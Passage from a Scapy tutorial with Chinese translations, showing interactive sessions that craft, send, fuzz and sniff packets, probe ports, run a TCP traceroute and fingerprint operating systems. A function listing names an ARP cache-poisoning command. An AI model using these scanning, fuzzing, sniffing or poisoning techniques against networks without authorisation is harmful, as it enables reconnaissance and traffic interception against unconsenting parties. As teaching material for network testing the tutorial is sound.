11

Scapy

Please also have a look at the interactive tutorial in the official documentation, that may be more up to date.

Quick demo : an interactive session

If you are new to python and you really don’t understand a word because of that, or if you want to learn this language, take an hour to read the very good tutorial from Guido Van Rossum here:http://docs.python.org/tutorial/. After that, you’ll know python :) (really!). For a more in-depth tutorial Dive Into Python is a very good start too.

Scapy uses the python interpreter as a command board. That means that you can use directly python language (assign variables, use loops, define functions, etc.)

The idea is simple. Scapy mainly does two things : sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet.

On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.

First, we play a bit and create 4 IP packets at once. Let’s see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth 4 IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets.

# ./scapy.py

Welcome to Scapy (0.9.17.108beta)

>>> IP()

<IP |>

>>> target=”www.target.com”

>>> target=”www.target.com/30″

>>> ip=IP(dst=target)

>>> ip

<IP dst=<Net www.target.com/30> |>

>>> [p for p in ip]

[<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>,

<IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>]

The configuration is hold into a variable named conf, which is saved in the session.

>>> conf

Version    = 0.9.17.108beta

BTsocket   = <class __main__.BluetoothSocket at 0xb7d73f2c>

IPCountry_base = ‘GeoIPCountry4Scapy.gz’

L2listen   = <class __main__.L2ListenSocket at 0xb7d73e3c>

L2socket   = <class __main__.L2Socket at 0xb7d73e0c>

L3socket   = <class __main__.L3PacketSocket at 0xb7d73ddc>

checkIPID  = 1

checkIPaddr = 1

checkIPsrc = 1

color_theme = <class __main__.HTMLTheme at 0xb7d263ec>

countryLoc_base = ‘countryLoc.csv’

debug_dissector = 0

debug_match = 0

except_filter = ”

gnuplot_world = ‘world.dat’

histfile   = ‘/home/pbi/.scapy_history’

iface      = ‘eth1’

nmap_base  = ‘/usr/share/nmap/nmap-os-fingerprints’

p0f_base   = ‘/etc/p0f.fp’

padding    = 1

promisc    = 1

prompt     = ‘>>> ‘

queso_base = ‘/etc/queso.conf’

route      =

Network         Netmask         Gateway         Iface           Output IP

127.0.0.0       255.0.0.0       0.0.0.0         lo              127.0.0.1

192.168.5.0     255.255.255.0   0.0.0.0         eth1            192.168.5.21

0.0.0.0         0.0.0.0         192.168.5.1     eth1            192.168.5.21

session    = ‘mysession’

session_tracking = {}

sniff_promisc = 1

stealth    = ‘not implemented’

verb       = 2

warning_threshold = 5

wepkey     = ”

>>> conf.verb=1

>>> conf.color_theme=RastaTheme()

Now, let’s manipulate some packets. Here you can see layers that are supported for the moment. It’s really easy to add one.

>>> ls()

ARP        : ARP

BOOTP      : BOOTP

CookedLinux : cooked linux

DHCP       : DHCP options

DNS        : DNS

DNSQR      : DNS Question Record

DNSRR      : DNS Resource Record

Dot11      : 802.11

Dot11ATIM  : 802.11 ATIM

Dot11AssoReq : 802.11 Association Request

Dot11AssoResp : 802.11 Association Response

Dot11Auth  : 802.11 Authentication

Dot11Beacon : 802.11 Beacon

Dot11Deauth : 802.11 Deauthentication

Dot11Disas : 802.11 Disassociation

Dot11Elt   : 802.11 Information Element

Dot11ProbeReq : 802.11 Probe Request

Dot11ProbeResp : 802.11 Probe Response

Dot11ReassoReq : 802.11 Reassociation Request

Dot11ReassoResp : 802.11 Reassociation Response

Dot11WEP   : 802.11 WEP packet

Dot1Q      : 802.1Q

Dot3       : 802.3

EAP        : EAP

EAPOL      : EAPOL

Ether      : Ethernet

GPRS       : GPRSdummy

HSRP       : HSRP

ICMP       : ICMP

ICMPerror  : ICMP in ICMP

IP         : IP

IPerror    : IP in ICMP

ISAKMP     : ISAKMP

ISAKMP_class : abstract packet

ISAKMP_payload : ISAKMP payload

ISAKMP_payload_Hash : ISAKMP Hash

ISAKMP_payload_ID : ISAKMP Identification

ISAKMP_payload_KE : ISAKMP Key Exchange

ISAKMP_payload_Nonce : ISAKMP Nonce

ISAKMP_payload_Proposal : IKE proposal

ISAKMP_payload_SA : ISAKMP SA

ISAKMP_payload_Transform : IKE Transform

ISAKMP_payload_VendorID : ISAKMP Vendor ID

IrLAPCommand : IrDA Link Access Protocol Command

IrLAPHead  : IrDA Link Access Protocol Header

IrLMP      : IrDA Link Management Protocol

L2CAP      : L2CAP

L2CAP_CmdRej : L2CAP Command Rej

L2CAP_ConfReq : L2CAP Conf Req

L2CAP_ConfResp : L2CAP Conf Resp

L2CAP_ConnReq : L2CAP Conn Req

L2CAP_ConnResp : L2CAP Conn Resp

L2CAP_DisconnReq : L2CAP Disconn Req

L2CAP_DisconnResp : L2CAP Disconn Resp

L2CAP_InfoReq : L2CAP Info Req

L2CAP_InfoResp : L2CAP Info Resp

LLC        : LLC

MGCP       : MGCP

NBNSNodeStatusResponse : NBNS Node Status Response

NBNSNodeStatusResponseEnd : NBNS Node Status Response

NBNSNodeStatusResponseService : NBNS Node Status Response Service

NBNSQueryRequest : NBNS query request

NBNSQueryResponse : NBNS query response

NBNSQueryResponseNegative : NBNS query response (negative)

NBNSRequest : NBNS request

NBNSWackResponse : NBNS Wait for Acknowledgement Response

NBTDatagram : NBT Datagram Packet

NBTSession : NBT Session Packet

NTP        : NTP

NetBIOS_DS : NetBIOS datagram service

PPP        : PPP Link Layer

PPPoE      : PPP over Ethernet

PPPoED     : PPP over Ethernet Discovery

Packet     : abstract packet

Padding    : Padding

PrismHeader : Prism header

RIP        : RIP header

RIPEntry   : RIP entry

Radius     : Radius

Raw        : Raw

SMBMailSlot : SMB Mail Slot Protocol

SMBNegociate_Protocol_Request_Header : SMBNegociate Protocol Request Header

SMBNegociate_Protocol_Request_Tail : SMB Negociate Protocol Request Tail

SMBNegociate_Protocol_Response_Advanced_Security : SMBNegociate Protocol Response Advanced Security

SMBNegociate_Protocol_Response_No_Security : SMBNegociate Protocol Response No Security

SMBNegociate_Protocol_Response_No_Security_No_Key : abstract packet

SMBNetlogon_Protocol_Response_Header : SMBNetlogon Protocol Response Header

SMBNetlogon_Protocol_Response_Tail_LM20 : SMB Netlogon Protocol Response Tail LM20

SMBNetlogon_Protocol_Response_Tail_SAM : SMB Netlogon Protocol Response Tail SAM

SMBSession_Setup_AndX_Request : Session Setup AndX Request

SMBSession_Setup_AndX_Response : Session Setup AndX Response

SNAP       : SNAP

STP        : Spanning Tree Protocol

SebekHead  : Sebek header

SebekV1    : Sebek v1

SebekV2    : Sebek v2

SebekV2Sock : Sebek v2 socket

Skinny     : Skinny

TCP        : TCP

TCPerror   : TCP in ICMP

UDP        : UDP

UDPerror   : UDP in ICMP

>>> IP()

<IP |>

>>> a=IP(dst=”172.16.1.40″)

>>> a

<IP dst=172.16.1.40 |>

>>> a.dst

‘172.16.1.40’

>>> a.ttl

64

A layer has default values for every field, so that you don’t have to fill them all. If you give a value to the field, it will overload the default value. If you delete the field, the default value will be back. Moreover, fields with default values are not displayed.

翻译:协议层有默认值,不需要填充所有选项,填入的选项将覆盖默认选项,如果你删除选项,恢复默认值。默认值项不显示

>>> a.ttl=32

>>> a

<IP ttl=32 dst=172.16.1.40 |>

>>> del(a.ttl)

>>> a

<IP dst=172.16.1.40 |>

>>> a.ttl

64

Fields can be made human readable. For example IP and TCP flags : (note the rfc3514 compliance for IP).

翻译:选项是人可读

>>> t=TCP()

>>> t.flags=”SA”

>>> t.flags

18

>>> t

<TCP flags=SA |>

>>> t.flags=23

>>> t

<TCP flags=FSRA |>

>>> i=IP(flags=”DF+MF”)

>>> i.flags

3

>>> i

<IP flags=MF+DF |>

>>> i.flags=6

>>> i

<IP flags=DF+evil |>

Some default values are not constant values. For example, the source IP of a packet will default to the IP of the interface that should be used to send a packet to the given destination, according to the local routing tables.

翻译:部分默认选项不是恒定值,如默认源IP地址将被指向网卡所绑定地址,根据本地路由表

>>> a.dst

‘172.16.1.40’

>>> a.src

‘172.16.1.24’

>>> del(a.dst)

>>> a.dst

‘127.0.0.1’

>>> a.src

‘127.0.0.1’

>>> a.dst=”192.168.11.10″

>>> a.src

‘192.168.11.1’

>>> a.dst=target

>>> a.src

‘172.16.1.24’

>>> a.src=”1.2.3.4″

>>> a

<IP src=1.2.3.4 dst=<Net www.target.com> |>

Here, you can guess that my routing table looks like :

$ route -n

Kernel IP routing table

Destination     Gateway         Genmask         Flags Metric Ref    Use Iface

172.16.0.0      0.0.0.0         255.255.0.0     U     0      0        0 eth0

192.168.11.0    0.0.0.0         255.255.255.0   U     0      0        0 eth1

0.0.0.0         172.16.1.1      0.0.0.0         UG    0      0        0 eth0

We will see later that scapy has its own routing table.

The / operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.

翻译:后面我们将看到scapy有自己的路由表

/  操作符用于拼接2个协议层(这非常重要,很方便)。当这样做了,底层协议会根据高层协议覆盖一个或多个默认选项(你仍能赋予你所希望的值)(译者注:很智能),一个字符串将被作为裸层(一般指高层协议的payload)

>>> IP()

<IP |>

>>> IP()/TCP()

<IP frag=0 proto=TCP |<TCP |>>

>>> Ether()/IP()/TCP()

<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>

>>> IP()/TCP()/”GET / HTTP/1.0\r\n\r\n”

<IP frag=0 proto=TCP |<TCP |<Raw load=’GET / HTTP/1.0\r\n\r\n’ |>>>

>>> Ether()/IP()/IP()/UDP()

<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>

>>> IP(proto=55)/TCP()

<IP frag=0 proto=55 |<TCP |>>

Each packet can be build or dissected (note: in python _ (underscode) is the latest result) :

翻译:任何包都可组装或切开(注:在python _ 下划线代表最后一个操作的值)(译者注:这个功能在交互环境下很方便)

>>> str(IP())

‘E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01’

>>> IP(_)

<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>

>>>  a=Ether()/IP(dst=”www.slashdot.org”)/TCP()/”GET /index.html HTTP/1.0 \n\n”

>>>  hexdump(a)

00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  …7.D…R….E.

00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C…[email protected]<….B#

FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  …..P……..P.

20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index

2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .

0A                                               .>>> b=str(a)

>>> b

‘\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0

\xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00

\xbb9\x00\x00GET /index.html HTTP/1.0 \n\n’

>>> c=Ether(b)

>>> c

<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151  |<TCP sport=20 dport=80 seq=0L ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0 options=[] |<Raw load=’GET /index.html HTTP/1.0 \n\n’ |>>>>

We see that a dissected packet has all its fields filled. That’s because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default.

翻译:我们可以看到切开的包所有选项都有填充,这是因为我们用原始值强加给了它,如果觉得啰嗦,用hide_defaults()函数隐藏默认值。

>>> c.hide_defaults()

>>> c

<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L chksum=0xbb39 options=[] |<Raw load=’GET /index.html HTTP/1.0 \n\n’ |>>>>

You can read packets from a pcap file and write them to a pcap file. You can make a graphical postscript/pdf dump of a packet or a list of packets (see ugly png image. postcript/pdf are far better quality…).

翻译:你可以从一个pcap文件中读取多个包,并将多个包写入pcap文件。你能制作一个或多个包pdf格式的dump图片(pdf文件较png图像质量好多了)

>>> a=rdpcap(“/spare/captures/isakmp.cap”)

>>> a

<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

>>> a[423].pdfdump(layer_shift=1)

>>> a[423].psdump(“/tmp/isakmp_pkt.eps”,layer_shift=1)

For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicidely define a set of packets, generated using a kind of cartesian product between all the fields.

翻译:为了这个时刻,我们仅生成1个包。来看看生成多个包是多么容易。整个包的每个选项都能被设置,简单的定义了一系列的包,采用笛卡尔交叉方式可轻易组合出多个包。

>>> a=IP(dst=”www.slashdot.org/30″)

>>> a

<IP dst= |>

>>> [p for p in a]

[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,

<IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]

>>> b=IP(ttl=[1,2,(5,9)])

>>> b

<IP ttl=[1, 2, (5, 9)] |>

>>> [p for p in b]

[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,

<IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]

>>> c=TCP(dport=[80,443])

>>> [p for p in a/c]

[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,

<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,

<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,

<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,

<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,

<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,

<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,

<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

Some operations (like building the string from a packet) can’t work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.

Now that we know how to manipulate packets. Let’s see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It’s up to you to choose the right interface and the right link layer protocol.

翻译:一些操作(如从包中创建字符串)不能正常工作在多个包。在此情况下,如果你忘记展露你的一系列的包,仅有第一个列表的元素将会被用于生成包

现在我们知道如何生成包,再来看看如何发送他们。 send()函数将在第三层(网络层)发送,就是说,系统会为你控制路由和第二层。 sendp()函数工作在第二层(数据链路层),你可以选择正确的网卡和正确的链路层协议。

>>> send(IP(dst=”1.2.3.4″)/ICMP())

.

Sent 1 packets.

>>> sendp(Ether()/IP(dst=”1.2.3.4″,ttl=(1,4)), iface=”eth1″)

….

Sent 4 packets.

>>> sendp(“I’m travelling on Ethernet”, iface=”eth1″, loop=1, inter=0.2)

…………….^C

Sent 16 packets.

>>> sendp(rdpcap(“/tmp/pcapfile”)) # tcpreplay

………..

Sent 11 packets.

The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized.

翻译:fuzz()函数能够覆盖一些需要计算后改变默认值(如校验值),通过一些随机值以及其类型适合选项。这能够加快生成模糊匹配的模板并且循环发送他们。下例:IP层是通常的,UDP和NTP层是模糊匹配的。UDP校验值将被修正,UDP的目的端口将被覆盖成123和NTP版本会被强制为4,所有其他端口将会随机。

>>> send(IP(dst=”target”)/fuzz(UDP()/NTP(version=4)),loop=1)

…………….^C

Sent 16 packets.

Now, let’s try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.).

翻译:现在让我们做些有趣的事情。sr()函数用于发送和接收,函数返回一个元组包括回复的包,以及未回复的包。sr1()函数不同处是仅返回一个包。这个包必须是3层包(IP,ARP,等等)。srp()函数同样作用,只是在2层发送与接收包

>>> p=sr1(IP(dst=”www.slashdot.org”)/ICMP()/”XXXXXXXXXXX”)

Begin emission:

…Finished to send 1 packets.

.*

Received 5 packets, got 1 answers, remaining 0 packets

>>> p

<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP chksum=0x51dd src=66.35.250.151 dst=192.168.5.21  |<ICMP type=echo-reply code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load=’XXXXXXXXXXX’ |<Padding load=’\x00\x00\x00\x00′ |>>>>

>>> p.show()

—[ IP ]—

version   = 4L

ihl       = 5L

tos       = 0x0

len       = 39

id        = 15489

flags     = frag      = 0L

ttl       = 42

proto     = ICMP

chksum    = 0x51dd

src       = 66.35.250.151

dst       = 192.168.5.21

options   = ”

—[ ICMP ]—

type      = echo-reply

code      = 0

chksum    = 0xee45

id        = 0x0

seq       = 0x0

—[ Raw ]—

load      = ‘XXXXXXXXXXX’

—[ Padding ]—

load      = ‘\x00\x00\x00\x00’

A DNS query (rd = recursion desired). Note the non-null padding coming from my Linksys having the Etherleak flaw.

翻译: 一个DNS请求(rd= 递归请求)。注意非空填充从我的linksys路由器返回,有Etherleak缺点

>>> sr1(IP(dst=”192.168.5.1″)/UDP()/DNS(rd=1,qd=DNSQR(qname=”www.slashdot.org”)))

Begin emission:

Finished to send 1 packets.

..*

Received 3 packets, got 1 answers, remaining 0 packets

<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38 src=192.168.5.1 dst=192.168.5.21 options=” |<UDP sport=53 dport=53 len=58 chksum=0xd55d |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR qname=’www.slashdot.org.’ qtype=A qclass=IN |> an=<DNSRR rrname=’www.slashdot.org.’ type=A rclass=IN ttl=3560L rdata=’66.35.250.151′ |> ns=0 ar=0 |<Padding load=’\xc6\x94\xc7\xeb’ |>>>>

The “send’n’receive” functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions.

翻译:“send“和”receive“函数族是scapy核心。他们返回两个列表的元组。元组的第一个元素是一个元组列表(包的发送和回复),元组的第二个元素是没有回复包的列表。这2个元素是一个列表,但是他们被一个对象包裹来更好的表达,并且提供一些手段可以做更多需要的动作。

>>> sr(IP(dst=”192.168.8.1″)/TCP(dport=[21,22,23]))

Received 6 packets, got 3 answers, remaining 0 packets

(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

>>> ans,unans=_

>>> ans.summary()

IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding

IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding

IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent.

翻译:如果这里也有回复速率限制,你可以在2个包间指定一个时间间隔(整数型),如果一些包丢失或指定的时间间隔不足,你能重复发送所有未回复的包。无论通过重复调用函数,指向未发送列表,或通过指定重发参数。如果重发参数是3,scapy将会尝试3次重复发送包,如果重发参数是-3,scapy将会重发未回复的包直到同一个未回复包没有更多的回复在3次在一行中。 超时参数指定最后一个包被发送后的等待时间。

>>> sr(IP(dst=”172.20.29.5/30″)/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)

Begin emission:

Finished to send 12 packets.

Begin emission:

Finished to send 9 packets.

Begin emission:

Finished to send 9 packets.

 

Received 100 packets, got 3 answers, remaining 9 packets

(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)

 

A TCP traceroute.

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))

*****.******.*.***..*.**Finished to send 22 packets.

***……

Received 33 packets, got 21 answers, remaining 1 packets

>>> for snd,rcv in ans:

…     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)

5 194.51.159.65 0

6 194.51.159.49 0

4 194.250.107.181 0

7 193.251.126.34 0

8 193.251.126.154 0

9 193.251.241.89 0

10 193.251.241.110 0

11 193.251.241.173 0

13 208.172.251.165 0

12 193.251.241.173 0

14 208.172.251.165 0

15 206.24.226.99 0

16 206.24.238.34 0

17 173.109.66.90 0

18 173.109.88.218 0

19 173.29.39.101 1

20 173.29.39.101 1

21 173.29.39.101 1

22 173.29.39.101 1

23 173.29.39.101 1

24 173.29.39.101 1

Note that the TCP traceroute and some other high-level functions are already coded :

翻译: 注:TCP traceroute和其他高级协议函数已经编码。

>>> lsc()

sr               : Send and receive packets at layer 3

sr1              : Send packets at layer 3 and return only the first answer

srp              : Send and receive packets at layer 2

srp1             : Send and receive packets at layer 2 and return only the first answer

srloop           : Send a packet at layer 3 in loop and print the answer each time

srploop          : Send a packet at layer 2 in loop and print the answer each time

sniff            : Sniff packets

p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?

arpcachepoison   : Poison target’s cache with (your MAC,victim’s IP) couple

send             : Send packets at layer 3

sendp            : Send packets at layer 2

traceroute       : Instant TCP traceroute

arping           : Send ARP who-has requests to determine which hosts are up

ls               : List  available layers, or infos on a given layer

lsc              : List user commands

queso            : Queso OS fingerprinting

nmap_fp          : nmap fingerprinting

report_ports     : portscan a target and output a LaTeX table

dyndns_add       : Send a DNS add message to a nameserver for “name” to have a new “rdata”

dyndns_del       : Send a DNS delete message to a nameserver for “name”

The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don’t guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,…) and giving yourself mac addresses, …). I’ve just added a super socket which use libdnet and libpcap, so that it should be portable :

翻译: 发送包和接收包的过程是相当复杂的。作为我想要使用的PF_PACKT界面去通过网络过滤,我也需要补水一个ARP堆栈和ARP缓存,以及LL堆栈。还好,这看起来可以工作,在以太网和ppp接口上,但是我不保证任何事情,事实是我采用一个超级端口实现那些,这意味着,你可以非常容易切换IO层,并且采用PF_INET/SOCK_RAW,或使用libpcap,所以这是可移植的。

 

>>> conf.L3socket=L3dnetSocket

>>> conf.L3listen=L3pcapListenSocket

We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces.

翻译: 我们可以很容易用tcpdump或ethereal抓包或clone包。如果没有指定网卡,sniffing将会在所有接口上进行。

>>>  sniff(filter=”icmp and host 66.35.250.151″, count=2)

<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>

>>>  a=_

>>>  a.nsummary()

0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw

0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw

>>>  a[1]

<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831 src=192.168.5.21 dst=66.35.250.151 options=” |<ICMP type=echo-request code=0 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load=’B\xf7g\xda\x00\x07um\x08\t\n\x0b

\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d

\x1e\x1f !\x22#$%&\'()*+,-./01234567′ |>>>>

>>> sniff(iface=”wifi0″, prn=lambda x: x.summary())

802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133

802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates

802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133

802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates

802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates

802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133

802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication

802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication

802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149

802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149

802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133

802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133

802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding

802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding

802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw

802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw

>>> sniff(iface=”eth1″, prn=lambda x: x.show())

—[ Ethernet ]—

dst       = 00:ae:f3:52:aa:d1

src       = 00:02:15:37:a2:44

type      = 0x800

—[ IP ]—

version   = 4L

ihl       = 5L

tos       = 0x0

len       = 84

id        = 0

flags     = DF

frag      = 0L

ttl       = 64

proto     = ICMP

chksum    = 0x3831

src       = 192.168.5.21dst       = 66.35.250.151options   = ”

—[ ICMP ]—

type      = echo-request

code      = 0

chksum    = 0x89d9

id        = 0xc245

seq       = 0x0

—[ Raw ]—

load      = ‘B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567’

—[ Ethernet ]—

dst       = 00:02:15:37:a2:44

src       = 00:ae:f3:52:aa:d1

type      = 0x800

—[ IP ]—

version   = 4L

ihl       = 5L

tos       = 0x0

len       = 84

id        = 2070

flags     = frag      = 0L

ttl       = 42

proto     = ICMP

chksum    = 0x861b

src       = 66.35.250.151dst       = 192.168.5.21options   = ”

—[ ICMP ]—

type      = echo-reply

code      = 0

chksum    = 0x91d9

id        = 0xc245

seq       = 0x0

—[ Raw ]—

load      = ‘B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567’

—[ Padding ]—

load      = ‘\n_\x00\x0b’

We can sniff and do passive OS fingerprinting.

翻译:我们可以sniff然后做被动的OS指纹识别

>>> p

<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e src=192.168.8.10 dst=192.168.8.1 options=” |<TCP sport=46511 dport=80 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840 chksum=0x570c urgptr=0 options=[(‘Timestamp’, (342940201L, 0L)), (‘MSS’, 1460),

(‘NOP’, ()), (‘SAckOK’, ”), (‘WScale’, 0)] |>>>

>>> p0f(p)

(1.0, [‘Linux 2.4.2 – 2.4.14 (1)’])

>>> a=sniff(prn=prnp0f)

(1.0, [‘Linux 2.4.2 – 2.4.14 (1)’])

(1.0, [‘Linux 2.4.2 – 2.4.14 (1)’])

(0.875, [‘Linux 2.4.2 – 2.4.14 (1)’, ‘Linux 2.4.10 (1)’, ‘Windows 98 (?)’])

(1.0, [‘Windows 2000 (9)’])

The number before the OS guess is the accurracy of the guess.

Demo of both bpf filter and sprintf() method :

翻译: 操作系统前面的数字是猜测的精确程度

示例: bpf filter的使用以及sprintf()函数:(非常有用的功能)

>>> a=sniff(filter=”tcp and ( port 25 or port 110 )”,

